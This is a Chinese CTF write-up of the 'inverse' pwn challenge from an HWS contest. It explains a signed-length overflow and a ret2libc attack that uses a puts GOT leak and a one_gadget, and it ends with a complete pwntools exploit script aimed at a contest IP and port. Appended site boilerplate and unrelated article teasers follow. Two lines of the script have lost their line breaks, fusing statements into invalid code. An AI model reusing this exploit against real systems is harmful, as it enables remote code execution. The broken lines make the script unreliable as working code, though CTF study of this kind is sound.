HWS-CTF-第七期山大站-inverse

文章目录

  • inverse
    • main
    • work
    • read_int
    • read_n
  • 思路
    • onegadget
  • exp

第一次真正意义上独立在比赛中做出题目来了,距离真正意义接触CTF-PWN差不多正好两个月。但由于不知道靶场要自己开而且端口每次自己打开会改,交flag稍微晚了些(我太菜了)

inverse

main

在这里插入图片描述

work

在这里插入图片描述
这里很明显发现符号转换的bug,即nbytes对应有符号数为-1时可以造成溢出

read_int

将输入的字符转换为int类型(字符为负数也会转换)
在这里插入图片描述

read_n

往字符数组输入字符
在这里插入图片描述

思路

onegadget

在这里插入图片描述
ROPgadget

在这里插入图片描述
在这里插入图片描述

首先patchelf换库
然后通过输入字符-1使得绕过检查,随后-1对应0xffffffff(32位),再次read时造成溢出,构造payload,先将返回地址覆盖为puts函数的地址,然后下一个为work函数的地址(puts的返回地址),然后是puts的参数,为puts的got表的地址,然后第一次work造成puts地址泄露,(先通过one_gadget找到可用的gadget,最后选择0x6749f的,因为esi一般都是符合其要求的,然后eax比较好找对应的gadget,如上图)从而得到libc基地址,然后第二次work时同样输入字符-1,随后将返回地址覆盖为pop eax;ret的gadget的地址,然后是0,最后是onegadget的地址,最后成功getshell

exp

from pwn import*
#context(os="linux",arch="i386",log_level="debug")
s=remote("124.71.135.126",30043)
#s=process("./pwn")
f=ELF("./pwn")
libc=ELF("./libc-2.27.so")
#gdb.attach(s,"b main")
s.recvuntil(b"input world tag: ")
s.sendline(b"1")
s.sendline(b"-1")
s.recvuntil(b"leave me a msg:")
payload=b"a"*64+p32(f.sym["puts"])+p32(f.sym["work"])+p32(f.got["puts"])
#+f.got["puts"]
s.sendline(payload)
put_addr=u32(s.recvline()[0:4])
libc_base=put_addr-libc.sym["puts"]system_addr=libc_base+0x6749f 
payload=b"a"*64+p32(0x00024d37+libc_base)+p32(0)+p32(system_addr)
s.sendline(b"-1")
s.recvuntil(b"leave me a msg:")s.sendline(payload)
# print(hex(u32(put_addr)))
s.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/195670.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux之进程概念(一)

📘北尘_:个人主页 🌎个人专栏:《Linux操作系统》《经典算法试题 》《C》 《数据结构与算法》 ☀️走在路上,不忘来时的初心 文章目录 一、冯诺依曼体系结构二、操作系统(Operator System)1、概念2、设计OS的目的3、定位4、如何理…

基于springboot实现摄影跟拍预定管理系统【项目源码+论文说明】

基于springboot实现摄影跟拍预定管理系统演示 摘要 首先,论文一开始便是清楚的论述了系统的研究内容。其次,剖析系统需求分析,弄明白“做什么”,分析包括业务分析和业务流程的分析以及用例分析,更进一步明确系统的需求。然后在明白了系统的需求基础上需要进一步地设计系统,主要…

算法之路(二)

🖊作者 : D. Star. 📘专栏 : 算法小能手 😆今日分享 : 你知道北极熊的皮肤是什么颜色的吗?(文章结尾有答案哦!) 文章目录 力扣的209题✔解题思路✔代码:✔总结: 力扣的3题✔解题思路&#xff1a…

【STM32】IIC(Inter Integrated Cirruit--集成电路总线)

【单片机】14-I2C通信之EEPROM-CSDN博客 一、IIC总线协议介绍 1.IIC简介 同步(有时钟频率),半双工(同一个时间只能接收或者发送),串行(一个字节一个字节传输),高位读取…

JUnit 单元自动化

一、Junit 是什么? Junit 是 Java 中用于单元测试的框架。使用 Junit 能让我们快速高效的完成单元测试。 自动化测试:JUnit提供了自动化测试的能力,开发人员可以编写一次测试用例,然后通过简单的命令或集成到持续集成工具中进行…

LDO线性稳压器要不要并联二极管?

昨天介绍过了LDO是什么东西,那么对于它的应用场景是怎么的呢?LDO要不要并联二极管呢? 一般来说,LDO是不需要并联二极管的。 看下图第一个是典型电路,第二个是带可调节电压功能的LDO典型电路,从图里就可以…

隐式转换导致索引失效的原因

Num1 int Num2 varchar Str1不能为null Str2可null 例子1: 结果:124非常快,0.001~0.005秒出结果。3最慢,4~5秒出结果。 查询执行计划:124索引扫描。3全表扫描。 解释:首先四个23都产生隐式转换&#x…

Kafka性能测试初探

相信大家对Kafka不会陌生,但首先还是要简单介绍一下。 Kafka是一种高性能的分布式消息系统,由LinkedIn公司开发,用于处理海量的实时数据流。它采用了发布/订阅模式,可以将数据流分发到多个消费者端,同时提供了高可靠性…

弗洛伊德算法(C++)

目录 介绍: 代码: 结果: 介绍: 弗洛伊德算法(Floyd algorithm)也称为Floyd-Warshall算法,是一种用于求解所有节点对之间的最短路径的动态规划算法。它使用了一个二维数组来存储所有节点…

defer和async

如果两个属性浏览器都不兼容&#xff0c;推荐把<script>标签放到底部 一般情况下&#xff0c;浏览器在解析html源文件时&#xff0c;如果遇到外部的<script>标签&#xff0c;解析过程就会先暂停&#xff0c;这时会对script进行加载&#xff0c;执行两个过程&…

深入解析具名导入es6规范中的具名导入是在做解构吗

先说答案&#xff0c;不是 尽管es6的具名导入和语法非常相似 es6赋值解构 const obj {a: 1,f() {this.a}}const { a, f } objes6具名导入 //导出文件代码export let a 1export function f() {a}export default {a,f}//导入文件代码import { a, f } from ./tsVolution可以看出…

2023.11.19 hadoop之MapReduce

目录 1.简介 2.分布式计算框架-Map Reduce 3.mapreduce的步骤 4.MapReduce底层原理 map阶段 shuffle阶段 reduce阶段 1.简介 Mapreduce是一个分布式运算程序的编程框架&#xff0c;是用户开发“基于hadoop的数据分析应用”的核心框架&#xff1b; Mapreduce核心功能是…